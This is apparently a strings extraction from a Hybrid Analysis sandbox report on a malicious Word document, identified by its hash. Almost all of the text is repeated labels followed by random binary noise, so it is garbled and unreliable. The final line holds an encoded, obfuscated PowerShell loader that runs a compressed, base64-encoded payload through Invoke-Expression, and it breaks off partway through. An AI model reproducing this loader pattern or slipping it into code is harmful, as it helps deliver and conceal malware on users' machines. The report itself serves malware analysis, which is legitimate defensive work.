Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|$[YYpsff0==]T/k<c<JNO.zpH[E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|%8ZxGG3|~~~#s7O7&k:VHN^48ns/}ZlY%Y5]OJ*/LS#hjPq>xxq*)GhWT^(VCR5;C/vBK7e>~i_{V$*'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|*{5LJRy]t;:;`uH`2h aaUu@2h2Co$8#'E"jFVET2#+L$DD2i<Be}S`r^2 /8mMIxOz9F0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|,b(#!`##gXFTHiw35@!\AvL^x:PHCA#zc9DBh

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|,PIC)|;+}F.kE'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|.|1yt5s_0.f7?]\^.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|6renFEXq.6;pD_Hb,gbZs`rWgs=b=`;! ?H3sU8Pn.m6=%#wvaV4T=tFI8q0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|:_?^?~YMvO_LO_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|<B =mFl;Gs^1<wZV~9xKl^dbHfB}Frz!YPcv&k7ufGKfT'W6Kz?au\#@ouL&(mFv_{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|?-/ Jh!rD.@20,atr{'$d]Sl46nh[,yS~&(,YtldGX\z5^ kwJgW;}Y9y`|tA\2BO.M{GgIg(ZJ.9f`}~y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|@N_'Ozr(/WeA.ywf-JV]/"}v}o"+x9C& 2r%-a{{*_W"rb*OX&vc_o]zp}^p7hNf{~U]a6]]gFF8I;qIw*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|^$(=|bxR1cFW\s=mK=[[sFC$-MMVsoeZ6{4GO'<k:fHf3?()b?Wx!'S<X+IJ`q2f>O31Y:t#h1e6J}&EYYeg4!LD$v$=@fL: J

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|EY(#+fti:jXc{r)0q=3,iT>]MW{AV~-Zj2xwLO'$Ee'O/YM|vC_xyll`~3Z_]wZW].5qW,fuWEc=t|?h)+=3i}Fj-P#Z+,,[m5pJQ=x:HBZkUAx(|4v?]=&&o0ZX0US3itllFMa[N9L3YmAA,j-]wzb%fP\v|J:jeUB\NnD)6_OYQ^xV<~.w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|Fp?j?v^r.s<KQ #G;2+a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|l_>_pv&bx:},b}@V,`"V$K"V$WL="xrr"ngu1b__0r*9Mw~$(E&dm<u\zLG#.Nt;:Em]ZJC+)9nwR"xJ"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|LD8T,~N,FFk. Xn..{3Yz>L]_B,/OAYx#FDWQWY#iorM%%6: Hhdd9+Ej(-UIfuvr{viq>%e-d2j*l#sT"S'PP1B#cXAJ:CQp<vn?-@KC33f6NJCc#_ng5W]@?'(Aum-w?D`yP35kVtm;/DpJ9~6)|vF.PJ"{r$]N:DESRApf[VF3%*"$X1C`IvA <!y;TeR'BQhnmW}H,XMS8{:F_#\3sldhe4DmcC6&%"Jk+ijj%TeO~8%A1@6bFd%aRV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|O(trov|o+s'GuoUu=9f4Q!D9g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|r&:C[aw,\[ol24

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|T6fBBXQ9<sQ]z&aG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|YCWWCa6OS kNPQgJ{{%Puan+/I+4pnP8R g ?Ryb!e=YtZwd\]rp\^s9:<Odt,c9{:-(a.-x5Tz\2('~+#ckwR\sFn!~T$*5*DNNN@X,J%T*\\h2?'`Jc7%pB1iV_R,eM~bf~IsSW${%yV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|{f4MM :DK<@$dVF:Bd#Gz+"Q\KI$U~V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

} 3+o~hsB|<3mNv_OSU"3xl\u/\~,fYJT@Gs05

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

},8{=qW153s>I(WaYZ0'as5#vWWb"@{z<Z~W9px6h9Pn='8G0x6?}rnx& 9"'*{0<xwG]S!_^*0=]=8{~1,XcHomo:([a3+,?|1g'C,8qM4Tt{)'OE="rf"rxy(-W[38O!F7%afE)>BG;1 ;GNB"/+'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}.\P$E]y2dwJG|]9_zsIt~"wvQ&zg@/'1]]"=GCsc1)>B7uGbS~!ig|+E2WzS$z+0B2b\hKMjOH\w-pcGyF~t3*-VBew^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}1JL`v 2H&EaFibHL'eK#hIDKtF$#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}7^Kzp'k^r#$6t;S6.=5:cc{<[^fY\St]%rc+[a^!FVCf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

};Wibj2-.,QzNg[dK_HCivu3/-BZJ{ZjK]#ixn#=f\l1ipvxtb:]7|#18^453zFuL<IC45W+\n7:q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}@xl>oQWjK{xj*)2w%.8X~8~6C$ujeube/r>K3|!Bl*U$FChcugw^ei}3k)\C*3c3u'KsC[fjg?)!m,v'PKewwN{^^76L+V3RnN.S1$[+X[QOD.{C_=B_.B2]f'cnye; Ltq!$-S2t3lF\3T5$7Xn"o^g[O>LnO]7R._TZrj=]H'pBtRuV-#Og<Jzmp~;{xQqcx3;an3=9n}Jz_UI/Wv2tLpvt7[eeuU$VWRYZ^-k\OxgbhrM2tll")/cd@MPSNjm'5k`XlPA^Pew8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}_v!xm<t+__euey)iJ[6D]'[GFq@>gN<Tg5bYGyMHc8}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}_Zo3H?alRvecK#2GzE398\=_:dcTMyAB\#;&~#8HX:du.Y4us

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}b?N!cOA)<sTLkX~gi*O[/2u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}d&|R6Uj/cUe2$~:y{s9*h

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}f86{=zB$==ybvpb+?oDze#>ui'76:`U/*zGWKo>=x><+{~l5F2a&wPa,+}^~aWM?/E{w_NoBnY,y\(<..?w88%ex0IK<Yozp_c

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}I]d@\yN-tp,jqN

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}iG>'\4!)]4&*C%+'KUkAWdqsP^t^$RI?DLoW)5G1q5lw}gxbM#Bo 38r=;deiu Z0iVkxWE2k"2yW@P^ZeWNa3:+]\]Ue

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}M4!hDJf1aU;4R&I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}n*WPaECrR<;;&sgHj&&>o(J`';-j*Kd!0~W_W?3`3gGhi'.ejTOy%qqESr(mEg43~<1L4?/uR_[IrV.Lt(N6lV\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}p+Y,EV0Ho)ee:zN~1eGSEgfX1+Ry-d&H4?*Yh>xL}_;)h1qOVurz~ tjX|Sw$u3acov:iwy4(DXH1Ai=vdYW.tM$a7x9s[_.,ueFVh/^(\vt??&X5*F7^9H4xzf&G!W]M+J .>>6vwM<A/sw/&g,.-<*wLJ_xX1L[3^bp_a_k\5("g`4a9n`J)Nxv.@&'R[~nTYS9F)<SZ.JkOb+#14f-E)C0g;M K%V'[nOWvfy<_(So{Gj5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}pfYL7jLie:8H6q\12K3wi74:n/g+Eje&LNVr|(yw&.x8Xso7?C&GGF+'r{"]IyQPyl40+L)-?qEw|l3GkyvFadff6f)?)veT)T#G%VLL{! `J~07F[9g.m>/&n,suY?_.$Wb\T7aL~~0D%iLt.<4Tq*=(ev,VY ]g1~AmP1-B`vT0z#~gRe`Sx0e,gv}s#&f"lZ\Y0yVZWKpbIN}Q,%w^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}Qau*s{aRqmu}ZnTzF2"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}rrgfr|OrO?+}q"j3dbo:HQ8]XNGsA2'v;"'(_|yrP^rGb AD_A,HD 7>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}SD}x+<"Hj.{~ ]uFO`H]{AV/N!;!lBhK4zr1-Ppb/^zpa_v~ha[E^}aF~>#v[QB;_NGmyx3?n?3l{i8tp_6sda=0zz?L 3{gv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}T1q*gq3`VdUNozS@|o_e~}>Bqq5AG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}v>JKMyk^G?6?AY\/a6OZmtS]VA"yCXp!Fs1biZ<pKx<Fyn~s@Nm|(/+k$e*}IO:FVe|,Uv2ZB_IY;UuSQ.ez";xcOYzHFgr([v

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}Yb'.$.3iW\UH&y>ja0>R|{CDAaGqF(6Gqy

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}{lBPd~mU|W}fjSq8^`)K?oV'Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}}zwGD5G4Zlr#v

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

}~s_Tve'n#wY}n)#3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~"0%3-J;>in%?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~'Sx}oV{H=)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~7d~3=oweEOJ;;}#eRs W%-&dUfW4Y0)oq\<3d/e>*J^(8Mwi."U=f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~_\-;~6AiTCx"0SGT?hrTgy|=wv]W]vN+z0|[l=*9FJyX40xV7{SzYCttj5zrPL;G^!yqHG0fK?9d4!3;dVI&[inZ/cUS&!36G"d9^'5BN|@\=K\Gr4H*D

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~a5Nl7[=]2}7w?=070.^J!"t B

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~AyXH\4!SGN::B&]69l07aP7]XP/3=u26Cz5+,9|H$GnNFYP|''wFU[*#*#BReC*!Tpsr?B\?qI4[m/U!d'na'14wP0]f[9R-m>2S:4'l:wPIqAI?DyAsok<p~!n<|N{pFY<CzQ#C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~G_1k* 1.beXRMfOG7B, M@qJ:E24:QWqwe`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~gfKX`oy;[p?;3?9u3^fNA6@Zpjq=%4,J]ZYk2K?L` t#XQN@X_gWI1d[w-}102,3J,4eD4xZygC@`C[vdHfbN%_\=b{rnrL;xHWzsh_}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~M=?^>!7kT5Ci+eRH?#\=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~mv pl72 EcC?C):dV!2#`2,I7hPI89W,xkv{&U$}6$1"5d6*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~n'ey3]7h]fa4skC^~@oA0|h1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~T$oI>2zn|n,c{1]vvouNV."A

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~u4~n~?hAx#c$'i.wv;8%/d~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~}%o"B#O>_S1d) Hi:FV/kocN\qXr5/<O_?-oQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~}]4V\WOoo@jPivdU9wgW\hnFKAAh"lV^xy6~k\_i

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

~~#|~zvH34wgB4(xQCw|k#0w4{v>g~uCCKF4'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ã¿Ã¾SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAbgBMADEAcABiADIAUABiAGsAaQBYADIAMwBZAEQALwBRADMANAB3AFgARQArAG8ASwA4ADYAVQB5AFAAeABXAEsATABUAGQATAB0AHQ